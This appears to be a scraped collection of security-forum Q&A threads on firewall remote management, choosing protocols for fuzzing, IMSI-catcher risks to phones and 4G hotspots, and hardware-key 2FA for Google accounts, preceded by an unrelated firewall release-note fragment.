  Since IPFire 2.15, the firewall capabilities of the IPFire system have
  been massively improved. A lot of new features have been introduced
  which require a lot more powerful GUI.

Question:  Are there any open source firewalls other than OPNsense that are usable in managed networks?

I've glanced at:

OPNsense - REST API
IPFire - ?
Endian - ?
IPCop - ?
pfSense - ?
Untangle - ?

All Linux and BSD-based firewalls are just a management UI over their respective IS kernel's firewall feature. If you want remote access and scripting functions, you can use standard remote management and scripting tools of the base OS, namely, SSH and shell scripts. The firewall products that support web administration can also be remotely accessed by configuring HTTPS with client certificates authentication (or many of the other authentication methods supported by HTTP/TLS).

The Linux and BSD firewalls don't brag about remote administrations and shell scripts because most people already expect them as being part of the capability of the underlying OS. Proprietary firewalls, on the other hand, do not necessarily support these things because people don't necessarily expect their custom OS to support shell scripting or SSH.


Criteria for selecting fields and network protocols for fuzzing I want to test a specific device connected to different networks using fuzzing. For each network interface, there are different services listening using different protocols, with open specification.

As i can not fuzz every network interface using every protocol, i want to find criteria to choose the protocol that either

has the highest probability of finding vulnerabilities or
will be the easiest to reach a high code coverage

For 2. i thought about e.g. message size, as the shorter the message, the more messages i can test in a reasonable time, but do you know other criteria or scientific research on this topic?

Thank you for helping.

I think you're going to often find that your criteria is constrained by several factors, which actually limit what you can test.

The tools you have access to, and the licences you're operating under (terms of service, DMCA, etc.) can limit the scope in some cases. Any fuzzing that requires destructive interfere with another user is probably out, as well as any which could be seen as an attack on a service provider.  So fuzzing a connection with a cloud service is somewhat risky.

Then you have local protocols like SSH, a web server, SMTP, etc. on a router/IoT device. Those services can be fuzzed with relatively low risk. There are many tools focused on web protocols so if your device has a web interface focusing on the OWASP top 10 may be a good starting point.

For more physical connections such as a JTAG or other hardware debug port, you may find some interesting unpublished functionality. If you have the adapters and the tools to debug JTAG that may be a good use of time.

Overall fuzzing is highly dependent on the target, the scope of the engagement, and the experience of the investigator.


4G Pocket WiFi - IMSI Catcher? Nearly all mobile phones are vulnerable to IMSI catcher attack's fake mobile networks. They can access storage, inject rootkits/backdoors, turn the microphone on view internet traffic even with a VPN in use. Conduct MITM attacks.

They all have bad modem isolation, allow IMSI catcher direct access to hardware components that allow for compromise. Some phones have good modem isolation there all old phones.

This explains it:
https://replicant.us/freedom-privacy-security-issues.php

Just to be clear the phones with good modem isolation prevent remote attacks on phones IMSI catchers can do. Or there wouldn't be a threat model for it. So the phones on that site prevent it.

I want to no about 4G portable hotspots separate from phones, since there seems some doubt about IMSI catchers. Here's an article from electronic frontier foundation about them, why phones in general have bad security.

https://ssd.eff.org/en/module/problem-mobile-phones

I'm considering if buying a portable 4G portable hotspot would be safe from IMSI catcher  if a phone with no sim cards at all was connected to the portable 4G hotspot.

What effects could a IMSI catcher have? I'm thinking as its separate from the phone itself it obviously stops access to phones hardware components. But what hardware it can see and access on the portable 4G hotspot itself is a question? it might be able to backdoor, compromise it's security.

I don't know if there are any 4G portable hotspots that have good modem isolation. The article explains if you use a VPN on a phone with bad modem isolation, then an IMSI catcher can see the all traffic unencrypted.

So if using a VPN on a phone with no sim cards at all that's connected to a portable 4G hotspot, will the IMSI catcher get unencrypted access to all traffic? or is good modem isolation needed for the portable 4G hotspot itself, to prevent that as it is on a phone?

Maybe this would be the same for home wireless mobile broadband? They plug into power source but are also 4G but closer to a traditional router.

IMSI catchers essentially simulate cell towers. Nearby phones will try to use these fake towers in order to provide connectivity. But while normal cell towers usually act in the interest of their users fake cell towers might in theory misuse protocol features or send malformed protocol data in order to trigger bugs in the phones modem. Given that the modem driver usually runs with kernel permissions in current mobile OS a bug in the modem firmware and driver might give the attacker kernel level privileges which effectively would allow to control the whole phone.

With 4G hotspots the situation is not much different, only that the initial attack target would be the hotspot and not the phone. Once the attacker has taken over the hotspot it can intercept any connections and unless these connections are specifically protected with HTTPS or by using a VPN the attacker could also modify the traffic. But even if the phone protects itself well against such traffic MITM with a VPN or HTTPS it still leaves communication at the lower level, for example attacking the phone with malformed DHCP or attacking it through malformed Wifi.

Note that all of these attacks require bugs in the phones and hotspots software and firmware. But specifically at the lower network layers (i.e. 4G modem, Wifi firmware, Bluetooth firmware, DHCP) attacks are less expected and thus the software/firmware is usually not designed to be robust against attacks. And 4G hotspots usually have a similar shoddy security as known from cheap (and sometimes expensive) WiFi routers.

To summarize: using a 4G hotspot will make it harder for an attacker since there are more protections to bypass. But, if there are vulnerabilities at the various stages then attacking the phone connected to the hotspot can be done too. Note that most of the attacks would need a very knowledgeable attacker though which makes it less likely to get attacked unless specifically targeted. And if one is specifically targeted then the attacker might also choose a completely different path for attacks since this might be easier, so don't just try to protect the phone communication.


Google account 2FA only with HW security key? Is it possible to configure 2FA access to a Google account using only HW security key (e.g. Yubikey) without verification SMS code option ?

It seems that SMS confirmation code is still primary 2FA option and it cannot be disabled or removed;  but what if attacker hacks my Android phone ?

You can configure your Google Account to use TOTP and install the Yubico Authenticator App either on your Phone or additionally on your PC

Its like using the Gooogle Authenticator but the secret is not stored on your phone but on the Yubikey. So if your phone is stolen they still need the Yubikey to enter your account.

You can use this combination for every Website that supports 2FA with TOTP.

But to do this, your need the Yubikey Neo and an phone which supports NFC.